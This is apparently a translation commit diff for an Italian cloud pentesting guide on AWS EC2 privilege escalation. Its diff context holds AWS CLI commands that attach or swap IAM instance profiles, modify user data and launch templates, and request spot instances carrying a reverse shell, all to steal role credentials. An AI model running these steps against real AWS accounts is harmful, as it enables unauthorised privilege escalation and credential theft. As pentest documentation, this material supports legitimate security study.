Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-01-10 12:03:37 +00:00
parent b139a6296a
commit 9873a4b9cb
7 changed files with 497 additions and 260 deletions

View File

@@ -44,7 +44,7 @@ Fai attenzione con GuardDuty se utilizzi le credenziali del ruolo IAM al di fuor
#### Privesc a ECS
Con questo set di permessi potresti anche **creare un'istanza EC2 e registrarla all'interno di un cluster ECS**. In questo modo, i **servizi** ECS verranno **eseguiti** all'interno dell'**istanza EC2** a cui hai accesso e poi puoi penetrare in quei servizi (contenitori docker) e **rubare i loro ruoli ECS associati**.
Con questo insieme di permessi potresti anche **creare un'istanza EC2 e registrarla all'interno di un cluster ECS**. In questo modo, i **servizi** ECS verranno **eseguiti** all'interno dell'**istanza EC2** a cui hai accesso e poi potrai penetrare in quei servizi (contenitori docker) e **rubare i loro ruoli ECS associati**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -82,7 +82,7 @@ aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name
```
Se il **profilo dell'istanza ha un ruolo** e l'attaccante **non può rimuoverlo**, c'è un'altra soluzione. Potrebbe **trovare** un **profilo dell'istanza senza un ruolo** o **crearne uno nuovo** (`iam:CreateInstanceProfile`), **aggiungere** il **ruolo** a quel **profilo dell'istanza** (come discusso in precedenza) e **associare il profilo dell'istanza** compromesso a un'istanza compromessa:
- Se l'istanza **non ha alcun profilo** dell'istanza (`ec2:AssociateIamInstanceProfile`) \*
- Se l'istanza **non ha alcun profilo** dell'istanza (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
@@ -92,23 +92,21 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --ins
Con queste autorizzazioni è possibile cambiare il profilo dell'istanza associato a un'istanza, quindi se l'attacco ha già accesso a un'istanza, sarà in grado di rubare le credenziali per più ruoli di profilo dell'istanza cambiando quello associato ad essa.
- Se **ha un profilo dell'istanza**, puoi **rimuovere** il profilo dell'istanza (`ec2:DisassociateIamInstanceProfile`) e **associarlo** \*
- Se **ha un profilo dell'istanza**, puoi **rimuovere** il profilo dell'istanza (`ec2:DisassociateIamInstanceProfile`) e **associarlo**
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
- o **sostituire** il **profilo dell'istanza** dell'istanza compromessa (`ec2:ReplaceIamInstanceProfileAssociation`). \*
````
- o **sostituire** il **profilo dell'istanza** dell'istanza compromessa (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
````
**Impatto Potenziale:** Privesc diretto a un diverso ruolo EC2 (è necessario aver compromesso un'istanza AWS EC2 e avere alcuni permessi extra o uno stato specifico del profilo dell'istanza).
**Impatto Potenziale:** Privesc diretto a un diverso ruolo EC2 (è necessario aver compromesso un'istanza AWS EC2 e avere alcune autorizzazioni extra o uno stato specifico del profilo dell'istanza).
### `ec2:RequestSpotInstances`,`iam:PassRole`
Un attaccante con i permessi **`ec2:RequestSpotInstances`e`iam:PassRole`** può **richiedere** un **Spot Instance** con un **ruolo EC2 allegato** e una **rev shell** nei **dati utente**.\
Un attaccante con le autorizzazioni **`ec2:RequestSpotInstances`e`iam:PassRole`** può **richiedere** un **Spot Instance** con un **ruolo EC2 allegato** e una **rev shell** nei **dati utente**.\
Una volta che l'istanza è in esecuzione, può **rubare il ruolo IAM**.
```bash
REV=$(printf '#!/bin/bash
@@ -121,9 +119,9 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
Un attaccante con **`ec2:ModifyInstanceAttribute`** può modificare gli attributi delle istanze. Tra questi, può **cambiare i dati utente**, il che implica che può far **eseguire dati arbitrari** all'istanza. Questo può essere utilizzato per ottenere una **rev shell all'istanza EC2**.
Un attaccante con il **`ec2:ModifyInstanceAttribute`** può modificare gli attributi delle istanze. Tra questi, può **cambiare i dati utente**, il che implica che può far **eseguire dati arbitrari** all'istanza. Questo può essere utilizzato per ottenere una **rev shell all'istanza EC2**.
Nota che gli attributi possono essere **modificati solo mentre l'istanza è ferma**, quindi le **permissoni** **`ec2:StopInstances`** e **`ec2:StartInstances`**.
Nota che gli attributi possono essere **modificati solo mentre l'istanza è ferma**, quindi le **permissive** **`ec2:StopInstances`** e **`ec2:StartInstances`**.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -178,7 +176,7 @@ aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
**Impatto Potenziale:** Privesc diretto a un ruolo EC2 diverso.
**Impatto Potenziale:** Privesc diretto a un diverso ruolo EC2.
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
@@ -198,7 +196,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
```
**Impatto Potenziale:** Privesc diretto a un ruolo EC2 diverso.
**Impatto Potenziale:** Privesc diretto a un diverso ruolo EC2.
### `!autoscaling`
@@ -254,7 +252,7 @@ Nei comandi sopra, anche se stiamo specificando determinati modelli (`aws_|passw
Assumendo di trovare `aws_access_key_id` e `aws_secret_access_key`, possiamo utilizzare queste credenziali per autenticarsi su AWS.
**Impatto Potenziale:** Escalation diretta dei privilegi a IAM user(s).
**Impatto Potenziale:** Escalation diretta dei privilegi a utente(i) IAM.
## Riferimenti